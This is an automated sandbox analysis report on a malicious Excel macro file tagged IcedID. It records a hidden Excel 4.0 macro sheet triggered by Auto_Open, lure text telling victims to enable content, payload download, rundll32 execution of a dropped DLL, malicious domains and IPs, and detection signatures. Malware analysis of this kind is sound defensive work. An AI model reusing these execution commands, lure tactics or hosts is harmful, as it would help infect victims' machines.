Loading ...

Play interactive tourEdit tour

Analysis Report statistic-207394368.xlsm

Overview

General Information

Sample Name:statistic-207394368.xlsm
Analysis ID:403864
MD5:cd5e9899a7fa08e45309f4cf728bedf5
SHA1:a8671b54099e2d201660d220fc5652d3576bd5e6
SHA256:0465986113ca6df44638d99a67706662f7336e90c00d981666ba22217cefcfb5
Tags:IcedIDxlsm
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
Sigma detected: System File Execution Location Anomaly
Yara detected MalDoc1
Excel documents contains an embedded macro which executes code when the document is opened
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 1484 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
    • rundll32.exe (PID: 2612 cmdline: rundll32 ..\jordji.nbvt1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
    • rundll32.exe (PID: 2544 cmdline: rundll32 ..\jordji.nbvt11,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
sharedStrings.xmlJoeSecurity_MalDoc_1Yara detected MalDoc_1Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\jordji.nbvt1,DllRegisterServer, CommandLine: rundll32 ..\jordji.nbvt1,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1484, ProcessCommandLine: rundll32 ..\jordji.nbvt1,DllRegisterServer, ProcessId: 2612
    Sigma detected: System File Execution Location AnomalyShow sources
    Source: Process startedAuthor: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: rundll32 ..\jordji.nbvt1,DllRegisterServer, CommandLine: rundll32 ..\jordji.nbvt1,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1484, ProcessCommandLine: rundll32 ..\jordji.nbvt1,DllRegisterServer, ProcessId: 2612

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: statistic-207394368.xlsmMetadefender: Detection: 18%Perma Link
    Source: statistic-207394368.xlsmReversingLabs: Detection: 34%
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll
    Source: unknownHTTPS traffic detected: 192.254.233.89:443 -> 192.168.2.22:49165 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.5.2:443 -> 192.168.2.22:49168 version: TLS 1.2

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXESection loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe
    Source: global trafficDNS query: name: industrialarttextile.com
    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.254.233.89:443
    Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.254.233.89:443

    Networking:

    barindex
    Yara detected MalDoc1Show sources
    Source: Yara matchFile source: sharedStrings.xml, type: SAMPLE
    Source: Joe Sandbox ViewIP Address: 192.185.5.2 192.185.5.2
    Source: Joe Sandbox ViewIP Address: 192.254.233.89 192.254.233.89
    Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBA7750B.pngJump to behavior
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
    Source: unknownDNS traffic detected: queries for: industrialarttextile.com
    Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.drString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
    Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
    Source: jordji.nbvt11.0.drString found in binary or memory: http://fwdssp.com/?dn=referer_detect&pid=5POL4F2O4
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: http://investor.msn.com/
    Source: rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XML.asp
    Source: rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpString found in binary or memory: http://localizability/practices/XMLConfiguration.asp
    Source: rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpString found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
    Source: rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpString found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: http://www.hotmail.com/oe
    Source: rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpString found in binary or memory: http://www.icra.org/vocabulary/.
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: http://www.msnbc.com/news/ticker.txt
    Source: rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpString found in binary or memory: http://www.windows.com/pctv.
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49169
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49168
    Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49165
    Source: unknownNetwork traffic detected: HTTP traffic on port 49168 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49169 -> 443
    Source: unknownHTTPS traffic detected: 192.254.233.89:443 -> 192.168.2.22:49165 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.5.2:443 -> 192.168.2.22:49168 version: TLS 1.2

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Cont
    Source: Screenshot number: 4Screenshot OCR: Enable Content from the yellow bar above RunDLL |~| OTherewas a problem starting ..\jordji.nbvt1
    Source: Screenshot number: 8Screenshot OCR: Enable Editing , please click Enable Content from the yellow bar above WHY I CANNOTOPEN THIS DOCUM
    Source: Screenshot number: 8Screenshot OCR: Enable Content from the yellow bar above WHY I CANNOTOPEN THIS DOCUMENT? 1 W You are usingiOS orA
    Source: Document image extraction number: 7Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
    Source: Document image extraction number: 7Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
    Source: Document image extraction number: 17Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Conte
    Source: Document image extraction number: 17Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? W You are using IDS or And
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: statistic-207394368.xlsmInitial sample: EXEC
    Source: statistic-207394368.xlsmInitial sample: CALL
    Found abnormal large hidden Excel 4.0 Macro sheetShow sources
    Source: statistic-207394368.xlsmInitial sample: Sheet size: 22188
    Source: workbook.xmlBinary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="6" rupBuild="9303"/><workbookPr filterPrivacy="1"/><bookViews><workbookView xWindow="8595" yWindow="0" windowWidth="4020" windowHeight="3120"/></bookViews><sheets><sheet name="Sheet1" sheetId="9" r:id="rId1"/><sheet name="Sheet2" sheetId="4" r:id="rId2"/><sheet name="Sheet3" sheetId="7" r:id="rId3"/><sheet name="Sheet4" sheetId="8" r:id="rId4"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Sheet2!$AO$115</definedName></definedNames><calcPr calcId="145621"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext></extLst></workbook>
    Source: rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpBinary or memory string: .VBPud<_
    Source: classification engineClassification label: mal84.troj.expl.evad.winXLSM@5/18@2/2
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$statistic-207394368.xlsmJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRD661.tmpJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\jordji.nbvt1,DllRegisterServer
    Source: statistic-207394368.xlsmMetadefender: Detection: 18%
    Source: statistic-207394368.xlsmReversingLabs: Detection: 34%
    Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\jordji.nbvt1,DllRegisterServer
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\jordji.nbvt11,DllRegisterServer
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\jordji.nbvt1,DllRegisterServer
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\rundll32.exe rundll32 ..\jordji.nbvt11,DllRegisterServer
    Source: C:\Windows\System32\rundll32.exeAutomated click: OK
    Source: C:\Windows\System32\rundll32.exeAutomated click: OK
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/media/image4.png
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/media/image2.png
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/media/image1.png
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/media/image3.png
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
    Source: statistic-207394368.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting21Path InterceptionProcess Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySystem Information Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Rundll321Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferIngress Tool Transfer1SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting21LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    statistic-207394368.xlsm6%VirustotalBrowse
    statistic-207394368.xlsm21%MetadefenderBrowse
    statistic-207394368.xlsm34%ReversingLabsDocument-Office.Downloader.EncDoc

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    anaheimdermatologists.com3%VirustotalBrowse
    industrialarttextile.com0%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    http://www.icra.org/vocabulary/.0%URL Reputationsafe
    http://www.icra.org/vocabulary/.0%URL Reputationsafe
    http://www.icra.org/vocabulary/.0%URL Reputationsafe
    http://www.icra.org/vocabulary/.0%URL Reputationsafe
    http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
    http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
    http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
    http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    anaheimdermatologists.com
    192.185.5.2
    truefalseunknown
    industrialarttextile.com
    192.254.233.89
    truefalseunknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Checkrundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpfalse
      high
      http://www.windows.com/pctv.rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpfalse
        high
        http://investor.msn.comrundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpfalse
          high
          http://www.msnbc.com/news/ticker.txtrundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpfalse
            high
            http://www.icra.org/vocabulary/.rundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpfalse
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            unknown
            http://windowsmedia.com/redir/services.asp?WMPFriendly=truerundll32.exe, 00000003.00000002.2115009237.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108744573.0000000001E47000.00000002.00000001.sdmpfalse
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            unknown
            http://www.hotmail.com/oerundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpfalse
              high
              http://fwdssp.com/?dn=referer_detect&pid=5POL4F2O4jordji.nbvt11.0.drfalse
                high
                http://investor.msn.com/rundll32.exe, 00000003.00000002.2114796472.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2108590515.0000000001C60000.00000002.00000001.sdmpfalse
                  high

                  Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public

                  IPDomainCountryFlagASNASN NameMalicious
                  192.185.5.2
                  anaheimdermatologists.comUnited States
                  46606UNIFIEDLAYER-AS-1USfalse
                  192.254.233.89
                  industrialarttextile.comUnited States
                  46606UNIFIEDLAYER-AS-1USfalse

                  General Information

                  Joe Sandbox Version:32.0.0 Black Diamond
                  Analysis ID:403864
                  Start date:04.05.2021
                  Start time:13:22:35
                  Joe Sandbox Product:CloudBasic
                  Overall analysis duration:0h 5m 54s
                  Hypervisor based Inspection enabled:false
                  Report type:light
                  Sample file name:statistic-207394368.xlsm
                  Cookbook file name:defaultwindowsofficecookbook.jbs
                  Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                  Number of analysed new started processes analysed:7
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • HDC enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Detection:MAL
                  Classification:mal84.troj.expl.evad.winXLSM@5/18@2/2
                  EGA Information:Failed
                  HDC Information:Failed
                  HCA Information:
                  • Successful, ratio: 100%
                  • Number of executed functions: 0
                  • Number of non-executed functions: 0
                  Cookbook Comments:
                  • Adjust boot time
                  • Enable AMSI
                  • Found application associated with file extension: .xlsm
                  • Found Word or Excel or PowerPoint or XPS Viewer
                  • Found warning dialog
                  • Click Ok
                  • Attach to Office via COM
                  • Scroll down
                  • Close Viewer
                  Warnings:
                  Show All
                  • Excluded IPs from analysis (whitelisted): 192.35.177.64, 2.20.142.209, 2.20.142.210
                  • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, apps.identrust.com, au-bg-shim.trafficmanager.net
                  • Report size getting too big, too many NtDeviceIoControlFile calls found.

                  Simulations

                  Behavior and APIs

                  No simulations

                  Joe Sandbox View / Context

                  IPs

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                  192.185.5.2catalog-1521295750.xlsmGet hashmaliciousBrowse
                    catalog-1521295750.xlsmGet hashmaliciousBrowse
                      statistic-1048881972.xlsmGet hashmaliciousBrowse
                        statistic-1048881972.xlsmGet hashmaliciousBrowse
                          f.xlsmGet hashmaliciousBrowse
                            f.xlsmGet hashmaliciousBrowse
                              statistic-118970052.xlsmGet hashmaliciousBrowse
                                statistic-118970052.xlsmGet hashmaliciousBrowse
                                  14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                    14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                      diagram-1732659868.xlsmGet hashmaliciousBrowse
                                        diagram-1732659868.xlsmGet hashmaliciousBrowse
                                          diagram-1732659868.xlsmGet hashmaliciousBrowse
                                            diagram-1732659868.xlsmGet hashmaliciousBrowse
                                              diagram-136896931.xlsmGet hashmaliciousBrowse
                                                diagram-136896931.xlsmGet hashmaliciousBrowse
                                                  diagram-993959417.xlsmGet hashmaliciousBrowse
                                                    diagram-993959417.xlsmGet hashmaliciousBrowse
                                                      diagram-1145261761.xlsmGet hashmaliciousBrowse
                                                        diagram-1145261761.xlsmGet hashmaliciousBrowse
                                                          192.254.233.89statistic-1048881972.xlsmGet hashmaliciousBrowse
                                                            statistic-1048881972.xlsmGet hashmaliciousBrowse
                                                              statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                  14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                    14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse

                                                                      Domains

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      industrialarttextile.comstatistic-1048881972.xlsmGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      statistic-1048881972.xlsmGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                      • 192.254.233.89
                                                                      anaheimdermatologists.comstatistic-1048881972.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      statistic-1048881972.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      statistic-118970052.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                      • 192.185.5.2
                                                                      14e9289c_by_Libranalysis.xlsxGet hashmaliciousBrowse
                                                                      • 192.185.5.2

                                                                      ASN

                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      UNIFIEDLAYER-AS-1USpresentation.jarGet hashmaliciousBrowse
                                                                      • 50.87.249.219
                                                                      presentation.jarGet hashmaliciousBrowse
                                                                      • 50.87.249.219
                                                                      GK58.vbsGet hashmaliciousBrowse
                                                                      • 192.185.21.136
                                                                      catalog-1521295750.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.20.98
                                                                      catalog-1521295750.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.20.98
                                                                      4GGwmv0AJm.exeGet hashmaliciousBrowse
                                                                      • 50.87.166.59
                                                                      c647b2da_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 108.179.242.122
                                                                      c647b2da_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 108.179.242.122
                                                                      6613n246zm543w.xlsbGet hashmaliciousBrowse
                                                                      • 162.241.24.47
                                                                      DEMARG MALAYHCU21345.exeGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      generated check 662732.xlsmGet hashmaliciousBrowse
                                                                      • 192.185.177.61
                                                                      4Y2I7k0.xlsbGet hashmaliciousBrowse
                                                                      • 162.241.24.47
                                                                      QUOTATION REQUEST.exeGet hashmaliciousBrowse
                                                                      • 192.185.131.134
                                                                      gunzipped.exeGet hashmaliciousBrowse
                                                                      • 192.254.189.182
                                                                      Purchase Order #DH0124 REF#SCAN005452 EXW HMM SO#UKL080947 - FD210268-001.xlsx.exeGet hashmaliciousBrowse
                                                                      • 162.144.13.239
                                                                      0145d964_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      HXxk3mzZeW.exeGet hashmaliciousBrowse
                                                                      • 192.185.140.111
                                                                      HCU213DES.docGet hashmaliciousBrowse
                                                                      • 162.241.169.22
                                                                      RFQ.exeGet hashmaliciousBrowse
                                                                      • 192.254.236.251
                                                                      a3aa510e_by_Libranalysis.exeGet hashmaliciousBrowse
